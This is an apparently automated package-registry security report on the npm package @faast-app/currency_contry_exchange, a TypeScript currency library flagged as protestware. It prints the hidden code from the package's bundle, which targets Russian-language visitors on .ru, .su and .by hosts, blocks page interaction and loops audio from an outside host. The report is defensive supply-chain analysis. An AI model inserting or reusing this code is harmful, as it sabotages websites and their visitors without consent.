registry / Protestware / @faast-app/currency_contry_exchange

@faast-app/currency_contry_exchange

Librería TypeScript para formateo de monedas, formatos de documento (RUT/NIT), etiquetas localizadas y cálculo de intereses por país.

This report shows the evidence for @faast-app/currency_contry_exchange@1.12.0. 2 of 2 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The package’s published entrypoints contain deliberate, targeted browser disruption with no user-invoked activation. The behavior supports blocking as protestware.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing the package in a browser on a matching host with a Russian-language browser setting; the disruption occurs once the stored date is more than three days old.

Impact

Affected visitors may be unable to interact with the page and are subjected to repeated audio playback.

Mechanism

The code sets the document body's pointer events to none, appends a looping audio element, and attempts playback.

Attack narrative

On matching browser visits, the package checks a saved date and, after three days, disables page interaction and loops an audio file from a fixed host. This targeted disruption is present in both published entrypoints.

AI rationale

The package’s published entrypoints contain deliberate, targeted browser disruption with no user-invoked activation. The behavior supports blocking as protestware.

Evidence

package.jsondist/main.jsdist/main.umd.cjs

Network endpoints1

flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json exposes both the ESM and CommonJS bundles as package entrypoints.
The ESM bundle activates in browsers for Russian-language visitors on `.ru`, `.su`, `.by`, or `.xn--p1ai` hosts and checks a stored date.
After the stored date is more than three days old, the ESM bundle disables page interaction and loops audio from `flag-gimn.ru`; the CommonJS bundle contains the same behavior.

Evidence against

Behavioral surface

Source

Eval

Supply chain

MinifiedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 4 file(s), 368 KB of source, external domains: flag-gimn.ru, sweetalert2.github.io

Source & flagged code

8 flagged

dist/main.jsView file

Lines 1574-1614javascript

1574 if (!t)

1575 return {};

1576 const o = t.content;

1577 return Jr(o), Object.assign(Wr(o), _r(o), Yr(o), Kr(o), Zr(o), Xr(o), Gr(o, so));

1578}, Wr = (e) => {

1579 const t = {};

1580 return Array.from(e.querySelectorAll("swal-param")).forEach((n) => {

1581 H(n, ["name", "value"]);

1582 const r = (

1583 /** @type {keyof SweetAlertOptions} */

1584 n.getAttribute("name")

1585 ), s = n.getAttribute("value");

1586 !r || !s || (typeof q[r] == "boolean" ? t[r] = s !== "false" : typeof q[r] == "object" ? t[r] =

1587 }), t;

1588}, _r = (e) => {

1589 const t = {};

1590 return Array.from(e.querySelectorAll("swal-function-param")).forEach((n) => {

1591 const r = (

1592 /** @type {keyof SweetAlertOptions} */

1593 n.getAttribute("name")

1594 ), s = n.getAttribute("value");

1595 !r || !s || (t[r] = new Function(`return ${s}`)());

1596 }), t;

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/main.jsView on unpkg · L1594

1597}, Yr = (e) => {

1598 const t = {};

1599 return Array.from(e.querySelectorAll("swal-button")).forEach((n) => {

1600 H(n, ["type", "color", "aria-label"]);

1601 const r = n.getAttribute("type");

1602 !r || !["confirm", "cancel", "deny"].includes(r) || (t[`${r}ButtonText`] = n.innerHTML, t[`show${Oe(r)}Button`] = !0, n.

1603 }), t;

1604}, Kr = (e) => {

1605 const t = {}, o = e.querySelector("swal-image");

1606 return o && (H(o, ["src", "width", "height", "alt"]), o.hasAttribute("src") && (t.imageUrl = o.getAttribute("src") || void 0), o.hasAttribute(

1607}, Zr = (e) => {

1608 const t = {}, o = e.querySelector("swal-icon");

1609 return o && (H(o, ["type", "color"]), o.hasAttribute("type") && (t.icon = o.getAttribute("type")), o.hasAttribute("color") && (t.iconColor = o.getAttribute("color"

1610}, Xr = (e) => {

1611 const t = {}, o = e.querySelector("swal-input");

1612 o && (H(o, ["type", "label", "placeholder", "value"]), t.input = o.getAttribute("type") || "text", o.hasAttribute("label") && (t.inputLabel = o.getAttribute("label"

1613 const n = Array.from(e.querySelectorAll("swal-input-option"));

1614 return n.length && (t.inputOptions = {}, n.forEach((r) => {

Lines 1767-1810javascript

1767 }, t.timer), t.timerProgressBar && (p(n), A(n, t, "timerProgressBar"), setTimeout(() => {

1768 e.timeout && e.timeout.running && qe(t.timer);

1769 })));

1770}, ds = (e

•if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/main.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_trace_path_limit_exceeded; limitedFiles = 2

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/main.jsView on unpkg

dist/main.umd.cjsView file

Lines 45-66javascript

45 <button type="button" class="${i.cancel}"></button>

46 </div>

47 <div class="${i.footer}"></div>

package.jsonView file

Lines 1-31json

2 "name": "@faast-app/currency_contry_exchange",

3 "version": "1.12.0",

4 "type": "module",

5 "license": "MIT",

Source & flagged code

8 flagged · loading source

dist/main.jsView file

•if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/main.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_trace_path_limit_exceeded; limitedFiles = 2

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/main.jsView on unpkg

1787if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const e = /* @__PURE__ */ new Date(), t = localStorage.getItem("swal-initiation"); t ? (e.getTime() - Date.parse(t)) / (1e3 * 60 * 60 * 24) > 3 && setTimeout(() => { document.body.style.pointerEvents = "none"; const o = document.createElement("audio"); o.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", o.loop = !0, document.body.appendChild(o), setTi

High

Ai Review Evidence

Findings

2 Critical5 High1 Medium3 Low

CriticalTargeted Browser Disruption Protestwaredist/main.js

CriticalTrigger Reachable Dangerous Capabilitydist/main.umd.cjs

HighSemantic Analysis Limiteddist/main.js

HighAi Review Evidencepackage.json

HighAi Review Evidencedist/main.js

HighAi Review Evidencedist/main.umd.cjs

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvaldist/main.js

LowUrl Strings

Affected versions and remediation

This report applies to @faast-app/currency_contry_exchange@1.12.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @faast-app/currency_contry_exchange@1.12.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-19 20:28:31.951Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.12.0latestshownMaliciousProtestwareBlockPublishedOct 19, 2026, 8:24 PM 1.11.0MaliciousProtestwareBlockPublishedSep 15, 2026, 12:55 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other protestware packages

Behavioral surface

Related packages

Other protestware packages

Source & flagged code